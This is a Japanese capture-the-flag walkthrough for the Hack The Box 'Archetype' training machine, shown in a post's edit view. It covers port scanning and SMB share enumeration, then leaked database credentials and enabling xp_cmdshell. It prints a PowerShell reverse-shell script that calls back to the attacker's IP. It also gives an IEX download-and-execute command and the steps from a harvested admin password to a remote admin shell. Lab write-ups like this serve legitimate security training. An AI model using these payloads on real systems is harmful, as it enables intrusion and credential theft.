1. YuasaJunki

    Posted

    YuasaJunki
Changes in title
+【Hack The Box】Starting Point(Archetype)
Changes in tags
Changes in body
Source | HTML | Preview
@@ -0,0 +1,278 @@
+# はじめに
+Hack The Boxの[Starting Point](https://www.hackthebox.eu/home/start)(Archetype)について解説します。
+
+Starting Pointはチュートリアルなのでflagを得るまでの手順が示されているのですが、自分は少し詰まったところがあったので、それらも加えた手順を示したいと思います。
+
+こちらの[Youtubeの解説](https://www.youtube.com/watch?v=tYGwPUEiAPs)を参考にさせて頂きました。
+
+# VPNの設定
+まず、[こちら](https://www.hackthebox.eu/home/start)から`.ovpn`ファイルをダウンロードしましょう。
+
+以下を実行します。
+
+```
+kali@kali:~$ sudo openvpn username-startingpoint.ovpn
+```
+
+# nmapでポートスキャン
+
+```
+kali@kali:~$ ports=$(nmap -p- --min-rate=1000 -T4 10.10.10.27 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
+kali@kali:~$ nmap -sC -sV -p$ports 10.10.10.27
+Starting Nmap 7.80 ( https://nmap.org ) at 2020-08-17 21:48 EDT
+Nmap scan report for 10.10.10.27
+Host is up (0.28s latency).
+
+PORT STATE SERVICE VERSION
+135/tcp open msrpc Microsoft Windows RPC
+139/tcp open netbios-ssn Microsoft Windows netbios-ssn
+445/tcp open microsoft-ds Windows Server 2019 Standard 17763 c
+1433/tcp open ms-sql-s Microsoft SQL Server 2017 14.00.1000.00; RTM
+| ms-sql-info:
+| 10.10.10.27:1433:
+| Version:
+| name: Microsoft SQL Server 2017 RTM
+| number: 14.00.1000.00
+| Product: Microsoft SQL Server 2017
+| Service pack level: RTM
+| Post-SP patches applied: false
+|_ TCP port: 1433
+| smb-os-discovery:
+| OS: Windows Server 2019 Standard 17763 (Windows Server 2019 Standard 6.3)
+| Computer name: Archetype
+| NetBIOS computer name: ARCHETYPE\x00
+| Workgroup: WORKGROUP\x00
+```
+
+ポート445と1433が開いていて、それぞれファイル共有サーバ(smb)とSQLサーバが動いていることがわかります。
+
+# ディレクトリ探索
+smbサーバと対話できる[smbclient](https://www.samba.org/samba/docs/current/man-html/smbclient.1.html)を使用して、パスワードなどの機密情報を探します。
+
+```
+kali@kali:~$ smbclient -N -L \\\\10.10.10.27\\
+ Sharename Type Comment
+ --------- ---- -------
+ ADMIN$ Disk Remote Admin
+ backups Disk
+ C$ Disk Default share
+ IPC$ IPC Remote IPC
+```
+
+`backups`をのぞいてみます。
+
+```
+kali@kali:~$ smbclient -N \\\\10.10.10.27\\backups
+smb: \> dir
+. D 0 Mon Jan 20 07:20:57 2020
+ .. D 0 Mon Jan 20 07:20:57 2020
+ prod.dtsConfig AR 609 Mon Jan 20 07:23:02 2020
+
+smb: \> get prod.dtsConfig
+getting file \prod.dtsConfig of size 609 as prod.dtsConfig (0.5 KiloBytes/sec) (average 0.5 KiloBytes/sec)
+```
+
+`prod.dtsConfig`が得られました。中身を見ます。
+dtsConfigファイルはSQL Server Integration Services(SSIS)で使用される設定ファイルらしいです。
+
+```
+kali@kali:~$ cat prod.dtsConfig
+<DTSConfiguration>
+ <DTSConfigurationHeading>
+ <DTSConfigurationFileInfo GeneratedBy="..." GeneratedFromPackageName="..." GeneratedFromPackageID="..." GeneratedDate="20.1.2019 10:01:34"/>
+ </DTSConfigurationHeading>
+ <Configuration ConfiguredType="Property" Path="\Package.Connections[Destination].Properties[ConnectionString]" ValueType="String">
+ <ConfiguredValue>Data Source=.;Password=M3g4c0rp123;User ID=ARCHETYPE\sql_svc;Initial Catalog=Catalog;Provider=SQLNCLI10.1;Persist Security Info=True;Auto Translate=False;</ConfiguredValue>
+ </Configuration>
+</DTSConfiguration>
+```
+
+下から3行目にSQLサーバに接続するための、ユーザー`ARCHETYPE\sql_svc`のパスワード`M3g4c0rp123`が含まれていることがわかります。
+
+# SQLサーバに接続
+SQLサーバに接続するために、[impacket](https://github.com/SecureAuthCorp/impacket)の`mssqlclient.py`を使用します。
+まず、impacketを使用可能にします。
+
+```
+kali@kali:~$ git clone https://github.com/SecureAuthCorp/impacket.git
+kali@kali:~$ cd impacket
+kali@kali:~/impacket$ pip install .
+```
+
+ユーザー認証に先ほど取得したパスワード`M3g4c0rp123`を使用します。
+
+```
+kali@kali:~$ mssqlclient.py ARCHETYPE/sql_svc@10.10.10.27 -windows-auth
+[*] Encryption required, switching to TLS
+[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
+[*] ENVCHANGE(LANGUAGE): Old Value: None, New Value: us_english
+[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
+[*] INFO(ARCHETYPE): Line 1: Changed database context to 'master'.
+[*] INFO(ARCHETYPE): Line 1: Changed language setting to us_english.
+[*] ACK: Result: 1 - Microsoft SQL Server (140 3232)
+[!] Press help for extra shell commands
+SQL> SELECT IS_SRVROLEMEMBER('sysadmin')
+
+
+-----------
+
+ 1
+```
+
+現在のユーザーが`sysadmin`権限(最も高い権限)を持っているか確認すると、現在のユーザーは`sysadmin`権限を持っていることがわかります。
+
+これにより、`xp_cmdshell`を使用することが可能です。
+`xp_cmdshell`はSQLコマンドを介して、Windowsのシェルでコマンドを実行できるものです。
+
+`xp_cmdshell`を使用可能にします。
+
+```
+SQL> EXEC sp_configure 'Show Advanced Options', 1;
+SQL> reconfigure;
+SQL> sp_configure;
+SQL> EXEC sp_configure 'xp_cmdshell', 1
+SQL> reconfigure;
+```
+
+```
+SQL> xp_cmdshell "whoami"
+output
+
+--------------------------------------------------------------------------------
+
+archetype\sql_svc
+
+NULL
+```
+
+`whoami`の実行結果からこのアカウントにはWindowsシステムにおける管理者権限はないことがわかります。
+
+管理者権限のあるシェルを取得するために、以下のスクリプトを作成し、`shell.ps1`という名前で保存します。
+`10.10.14.3`の部分は自身のIPアドレスに書き換えましょう。
+IPアドレスは`hostname -I`などで確認できます。
+
+```
+ $client = New-Object System.Net.Sockets.TCPClient("10.10.14.3",443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "# ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
+```
+
+そして、ポート80でwebサーバを立ち上げます。
+
+```
+kali@kali:~$ sudo python3 -m http.server 80
+```
+
+また、ポート433でnetcat listenerを立ち上げます。
+
+```
+kali@kali:~$ sudo nc -lvnp 443
+```
+
+また、[ufw](https://help.ubuntu.com/community/UFW)を使用して、対象のマシンから自分のマシンへのポート80と443での接続を許可します。
+
+```
+kali@kali:~$ sudo ufw allow from 10.10.10.27 proto tcp to any port 80,443
+```
+
+次に、`xp_cmdshell`を使用して、シェルをダウンロードして実行するコマンドを実行します。
+`10.10.14.3`の部分は自身のIPアドレスに書き換えましょう。
+
+```
+SQL> xp_cmdshell "powershell "IEX (New-Object Net.WebClient).DownloadString(\"http://10.10.14.3/shell.ps1\");"
+```
+
+# シェル取得後
+正常に先ほどの`xp_cmdshell`コマンドが実行できていると、netcat listenerを立ち上げているコマンドラインでシェルを実行することができます。
+
+ちなみに、自分はこれに気づかず詰まっていました。
+
+```
+kali@kali:~$ sudo nc -lvnp 443
+[sudo] password for kali:
+listening on [any] 443 ...
+connect to [10.10.14.3] from (UNKNOWN) [10.10.10.27] 49680
+
+# dir
+...
+-a---- 9/15/2018 12:09 AM 68096 xmlfilter.dll
+-a---- 9/15/2018 12:09 AM 231368 xmllite.dll
+-a---- 9/15/2018 12:09 AM 64000 xolehlp.dll
+```
+
+```
+# cd C:\\Users
+# dir
+
+ Directory: C:\Users
+
+
+Mode LastWriteTime Length Name
+---- ------------- ------ ----
+d----- 1/19/2020 10:39 PM Administrator
+d-r--- 1/19/2020 10:39 PM Public
+d----- 1/20/2020 5:01 AM sql_svc
+```
+
+`sql_svc`の`Desktop`から`user.txt`が取得できます。
+
+```
+# ls sql_svc/Desktop
+Directory: C:\Users\sql_svc\Desktop
+
+
+Mode LastWriteTime Length Name
+---- ------------- ------ ----
+-ar--- 2/25/2020 6:37 AM 32 user.txt
+```
+
+次に、頻繁にアクセスされているPowerShellの履歴ファイルを参照します。
+
+```
+# type C:\Users\sql_svc\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
+net.exe use T: \\Archetype\backups /user:administrator MEGACORP_4dm1n!!
+```
+
+`backups`フォルダの管理者アカウントのパスワード`MEGACORP_4dm1n!!`を取得できました。
+
+[impacket](https://github.com/SecureAuthCorp/impacket)の`psexec.py`を使用して、管理者権限のあるシェルを取得します。
+
+```
+kali@kali:~$ psexec.py administrator@10.10.10.27
+Impacket v0.9.22.dev1+20200813.221956.1c893884 - Copyright 2020 SecureAuth Corporation
+
+Password:
+[*] Requesting shares on 10.10.10.27.....
+[*] Found writable share ADMIN$
+[*] Uploading file swacejRN.exe
+```
+
+これでいけるな...と思っていたら、`Uploading file ...`でフリーズしました。
+原因を調査していたところ、[forum](https://forum.hackthebox.eu/discussion/3116/starting-point-psexec-py)で同じ状況に陥っている人を発見しました。
+`wmiexec.py`を使ったらできたと書いてあったので、それを使ってみます。
+
+```
+kali@kali:~$ wmiexec.py administrator@10.10.10.27
+Password:
+[*] SMBv3.0 dialect used
+[!] Launching semi-interactive shell - Careful what you execute
+[!] Press help for extra shell commands
+C:\> whoami
+archetype\administrator
+```
+
+管理者権限のあるシェルが取得できました。
+
+```
+C:\> cd Users/Administrator/Desktop
+C:\Users\Administrator\Desktop> dir
+01/20/2020 06:42 AM <DIR> .
+01/20/2020 06:42 AM <DIR> ..
+02/25/2020 07:36 AM 32 root.txt
+ 1 File(s) 32 bytes
+ 2 Dir(s) 33,826,910,208 bytes free
+```
+
+`root.txt` が取得できました。
+
+# 終わりに
+以上、Hack The BoxのStarting Point Archetypeについて解説しました。
+チュートリアルですが、学びが深かったです。